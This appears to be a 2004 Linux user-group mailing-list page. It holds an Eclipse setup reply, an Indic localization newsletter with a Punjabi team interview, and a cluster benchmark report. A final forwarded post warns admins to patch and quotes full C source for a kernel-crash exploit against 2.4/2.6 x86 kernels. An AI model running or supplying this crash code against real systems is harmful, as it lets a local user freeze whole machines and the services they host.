Hi Rohit, > I amusing eclipse2.1.3 java 1.4.2 and redhat9.0. > >However my eclipse does not properly detect java .i cannot see java >perspective and no java in windows>preferences. Have you tried to anyway create a Java project in Eclipse. I had a similar problem with Eclipse 2.1.2 on Linux, but when I created a Java project, it automatically asked me if I wanted to change the perspective to Java even though I hadn't seen it before. It works without any problem. BTW, my setup is PCQLinux2004 (based on Fedora Core 1) and the default installation of Java and Eclipse 2.1.2. I'm sorry I don't remember my Java version right now. Hope this helps. Regards, Rajesh

Localization Newsletter Issue 3 Vol 1 (June 1, 2004)
by Guntupalli Karunakar 18 Jun '04

18 Jun '04

******************************************************** * Localization Newsletter Issue 3 Vol 1 (June 1, 2004) * ******************************************************** ------------ Editor speak ------------ For the 'Team watch' section in this issue, we have the Punjabi Localization team. It is the youngest team, a group of final year college students, worked the fastest and completed Punjabi translations for Gnome 2.6 in record time of one month. This is our third issue and we already seem to be running out of news items themed around Indic L10n. It could be either that localization activities are going on very slowly or many not well known. We would like to believe that the latter case is a representative picture of the true state of things. Indic L10n has so many common issues that need to be addressed and discussed. So if you know of any localization activity esp. in free software/open source domain, You are welcome to write to us at <feedback AT indlinux dot org> . Please do keep it short and to the point, and links/URLs for further reference. Any feedback/comments/suggestions on how to improve the newsletter can be sent to <feedback AT indlinux dot org>. --------- Headlines --------- * Utkarsh - Gujarati localized GNU/Linux was launched on 27th May 2004. Check out www.utkarsh.org for a sneak preview. Currently it features Gnome 2.4 in Gujarati, with OpenOffice in Gujarati also coming up soon. * Oriya group takes off - A group of active enthusiasts in Bhubaneshwar and on Orissa-IT list are starting work on Oriya Linux Localization. For current activities see http://www.indlinux.org/wiki/index.php/OriyaActivities . Also see http://www.indlinux.org/oriya/ * The Assamese GNU/Linux Localization Project has created a portal at http://luit.sourceforge.net to facilitate interaction with the community and other L10n groups * The Native-Language Project for Bengali OpenOffice.org (http://www.openoffice.org) is at http://bn.openoffice.org --------- News Bits --------- * First build of OpenOffice.org in Kannada for Windows and Linux is released at http://kannada.sourceforge.net . Kannada is only the third Indian language after Hindi and Tamil to have OpenOffice translations. * Rangoli (alpha) A multilingual Indic live CD is released. At present it has KDE 3.2.1 with Bengali, Hindi and Tamil interfaces. Rangoli is live CD project from IndLinux.org. This is an unofficial release, a more functional beta release will be out by June end. CD ISO image (470MB) can be downloaded from http://sourceforge.net/project/showfiles.php?group_id=11495. * The Developer's Guide (Initial version) from the Ankur Bangla Project http://www.bengalinux.org is at http://www.bengalinux.org/devel_guide/ * Red Hat India Pvt Ltd http://www.in.redhat.com held a meeting in Mumbai on the 28th of May 2004 to initiate talks about issues related to Indic L10n. A short blog entry from Sankarshan Mukhopadhyay can be found at http://blogs.randomink.org/node/view/21 * Another Phonetic keyboard layout - Devrom, Ravikant from Sarai <ravikant AT sarai.net> informs us about availability of Devrom xkb keyboard layout developed by Noah Levitt. Its available at http://www.indlinux.org/downloads/devrom-xkb.tar.gz ---------- Team Watch ---------- The group of volunteers engaged in the Indic Localization effort in the Punjabi language attained the unique distinction of being the fastest to obtain GNOME 2.6 fully supported status. In an e-mail interview with Sankarshan Mukhopadhyay (sankarshan at bengalinux dot org), Amanpreet Singh Alam (amanlinux at netscape dot net) talks about the Project and other things. SM: Let's begin with the URL of the project ASA: The project website is over here : http://www.geocities.com/punlinux, but we are planning to change it soon. The name 'PunLinux' is just a play on words derived from IndLinux (Ed. PunLinux is now hosted on SourceForge - http://punlinux.sourceforge.net/ SM: Why did this L10n start ? What was the motivation ? ASA: At the initial stages, it formed a major project of the final year of studies. However, we want to continue working with it for another one year at least. The motivation was perhaps the eternal 'personal itch of the developer' and also the fact that we wanted a Punjabi GNU/Linux Desktop. SM: What are the vision & objective of the project ? ASA: The primary objective is to ensure that GNU/Linux is made available to the common populace in the local language instead of English. This would also facilitate work at Government offices in the local language ie Punjabi. We also want to ensure that Punjabi as a language keeps up the changing paradigm imposed by Computer Science. SM: What is the current status of the project ? ASA: Gnome2.6 is fully supported, Package for Fedora 1.0 core is created and works well (at least to our satisfaction). For Fedora core 2.0, we will initiate the translation. The status could be found over here: http://elvis.redhat.com/cgi-bin/i18n-status SM: Milestones & targets achieved ? ASA: Our main target is to provide GNU/Linux is Punjabi. A LiveCD for for demonstration purposes 'GNU/Linux Desktop in Punjabi',will be created soon. SM: Who volunteer for the project ? What is the desired profile ? Is the project looking for more volunteers ? ASA: Currently the team is comprised of five persons - Amanpreet Singh Alam <amanlinux at netscape dot net> - Gursharn Singh Khalsa <gursharnsinghkhalsa at yahoo dot com> - Jaswinder Singh Phullewala <jaswinderlinux at netscape dot net> - Narinderpal Singh <nps39 at rediffmail dot com> - Sushil Kumar<badyalsk at rediffmail dot com> My personal belief is that we could translate GNOME and Fedora on our own and keep working at it for another 1 year without much problem. But handling KDE, Mozilla etc would mean that we'd require to increase the number of members so as to keep within a reasonable time schedule. SM: What do you plan to do in future with this L10n ? ASA: Like I mentioned earlier, we will support GNOME 2.6A and Fedora for a minimum of 1 year. After that we will require a source of revenue in order to continue to support and work for the project. Myself and Jas work for the PunLinux Project. SM: Are screen shots available ? URL pls ASA: Project screenshots are available here: http://www.geocities.com/punlinux (Ed. now its also hosted on http://punlinux.sourceforge.net ) SM: How is the funding being managed ? ASA: Till now we have no financial support to work, but still we'll work for minimum one year without any problem, after that we need to review it. SM: What are the problems faced by the L10n project ? (Both technical and otherwise eg. Pango, OOo etc) ASA: The locale definition pa_IN was required to be corrected, also we did not at first have fonts SM: Indic L10n suffer from common technical problems - are you in touch with other groups that are doing L10n ? ASA: Yes, we work with the major groups like IndLinux (www.indlinux.org). We want to continue with our work with the support of the people in terms of volunteers and resources. -------- Help..F1 -------- * Have your say, Join Unicode Indic list. Abhijit Dutta <dabhijit AT in dot ibm dot com> from IBM http://www.ibm.com says we need more Indians on Indic Unicode http://www.unicode.org list to discuss Indic issues with respect to Unicode.

FlashMob
by rajeshr＠vsnl.com 17 Jun '04

17 Jun '04

Hi, I have finally managed to download the FlashMob RC4 iso. I have played around with it a little bit and here are the results. Basic requirement is 200 MB of Free RAM after booting (Morphix-based). I ran a test on a PII 300MHz with 128MB RAM. I have PCQLinux2004 installed on this machine and it runs like a charm. I could boot Linux and run the software. It ran the small benchmark giving me 0.1 GFLOPS but it didn't run the big benchmark citing insufficient memory. Next I ran it on a PIV 1.8GHz 512MB RAM in standalone mode. It ran great, and the small benchmark gave me a result of 0.5 GFLOPS and the big benchmark gave me 1.04 GFLOPS. Third test was to run it on my Compaq Laptop PIV 2.3GHz 512MB RAM in standalone mode. For some reason the SpeedStep technology kicks in and runs the CPU only at 1.6GHz. This happens with Knoppix 3.3 also. I still haven't tried it out with Suse 9.1 LiveCD. Anyway, the benchmarks ran but gave me pathetic results of 0.2 GFLOPS and 0.4 GFLOPS. I have no idea why. I haven't tried to analyse it yet. Fourth test was to run the server on my Laptop and the PIV as a compute node. Both nodes were detected. In this case, I got an insufficient memory error (don't know for which node, but I suspect my laptop). The benchmark ran and gave me bad results again with the big benchmark just yielding 0.8 GFLOPS. In the fift test, I used another PIV 1.8GHz 512MB desktop as the server and similar configuration for the compute node. No errors this time and the benchmarks ran great giving me 0.5 GFLOPS and 1.8GFLOPS for the small and big benchmarks using 2 nodes. Do you think we can try this out on a larger scale now ? We can discuss this in the meet (when we meet :-)). Regards, Rajesh

----- Original Message ----- From: "Anand Kumar Saha" <anand.kumar(a)gavsin.com> To: <ilugc(a)ae.iitm.ac.in> Sent: Thursday, June 17, 2004 2:25 PM Subject: [Ilugc] [IMP] C code that crashes linux kernel! hi group, don't know why this new didn't make much noise. a small C code, which when compiled and run crashes the kernel. i tried to copile and run this over ssh, and it crashed my ssh session as well as the ssh server. admins make sure you apply the proper patches. http://reviewed.homelinux.org/news/2004-06-11_kernel_crash/index.html.en <FROM THE WEBSITE> New Kernel Crash-Exploit discovered Published 2004-06-11 by xiando, v2.3.0, last updated 2004-06-15. A bug lets a simple C program crash the Linux kernel, effectively locking the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86 architecture. The kernel is the most important part of the Linux operating system. It handles communication with the computers hardware and decides the priority of running programs (processes). If the kernels stops doing it's job, everything else will too. The Evil Code Running this simple C program crashes the Linux kernel. crash.c.txt #include <sys/time.h> #include <signal.h> #include <unistd.h> static void Handler(int ignore) { char fpubuf[108]; __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf)); write(2, "*", 1); __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf)); } int main(int argc, char *argv[]) { struct itimerval spec; signal(SIGALRM, Handler); spec.it_interval.tv_sec=0; spec.it_interval.tv_usec=100; spec.it_value.tv_sec=0; spec.it_value.tv_usec=100; setitimer(ITIMER_REAL, &spec, NULL); while(1) write(1, ".", 1); return 0; } This bug is confirmed to be present when the code is compiled with GCC version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x on x86 and amd64 systems.
